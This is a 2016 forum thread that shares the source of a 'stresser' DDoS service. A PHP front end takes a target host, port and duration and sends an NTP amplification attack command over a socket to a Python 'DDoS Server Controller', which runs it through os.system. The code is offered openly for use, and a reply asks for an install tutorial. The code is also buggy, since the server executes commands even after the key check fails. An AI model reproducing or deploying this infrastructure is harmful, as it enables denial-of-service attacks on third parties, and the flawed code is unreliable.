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Thread: [Stresser API Source - Fast API - Secure Version](#)

ZeeYee - March 4, 2016, 3:19 am

I originally released a version that was not very secure, this is the more secure version.
I did not put in my encryption methods. I will keep that one a secret.

Secure version means Escaped CMD Chars, Escaped input to shell, and uses password to verify message.

Client PHP

Set the host to the attack server IP.

PHP Code

```
<?php
```

```
//Get Variables
```

```
$r_host = escapeshellcmd($_GET['host']);  
$r_port = escapeshellcmd($_GET['port']);  
$time = escapeshellcmd($_GET['time']);
```

```
//Check Key
```

```
$key = explode("","keytwo,foxel,fitz123qwe");  
if (!in_array($_GET['key'],$key)){  
    print "Wrong Key."  
    die();  
}
```

```
//Connection Variables
```

```
$secretKey = "mypassword";  
$host = "123.123.123.123";  
$port = 81;
```

```
#Packet
```

```
$output = "screen -dmS lel ./ntp "".$r_host."" "".$r_port."" ntp.txt 1 4000 "".$time.""";  
print $output;  
$koutput = $secretKey.",".$output;
```

```
#Send Packet over Socket
```

```
$socket1 = socket_create(AF_INET, SOCK_STREAM,0) or die("Could not create sock  
\n");  
socket_connect ($socket1 , $host,$port ) ;  
socket_write($socket1, $koutput, strlen ($koutput)) or die("Could not write ou  
ut\n");  
socket_close($socket1) ;
```

```
?>
```

Python Server

Put the remote IP of the attack server as host

```

PHP Code
<?php
import socket, os, sys

#Initilize Variables
buf = 0
i = 0
secretKey = "mypassword"

#Initilize Socket
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#Bind Socket
serversocket.bind(('123.123.123.123', 81))

#Listen to Socket
serversocket.listen(5) # become a server socket, maximum 5 connections

#Output Program Title to Screen
print "220 DDoS Server Controller System"

#Loop forever
while True:

    #Compare buf variable and zero
    if buf != 0:

        if buf[:len(secretKey)] == secretKey:
            newbuf = buf.split(",")
            print "Executing: "+str(newbuf[1])
        else:
            print "Key Denied"
            print buf[:len(secretKey)] + "-" + secretKey

        os.system(str(newbuf[1]))
        buf = 0
    while True:
        connection, address = serversocket.accept()
        buf = connection.recv(128)
        if len(buf) > 0:
            break

```

Dark Spider - March 23, 2016, 7:29 pm

Can you make a Install Tutorial?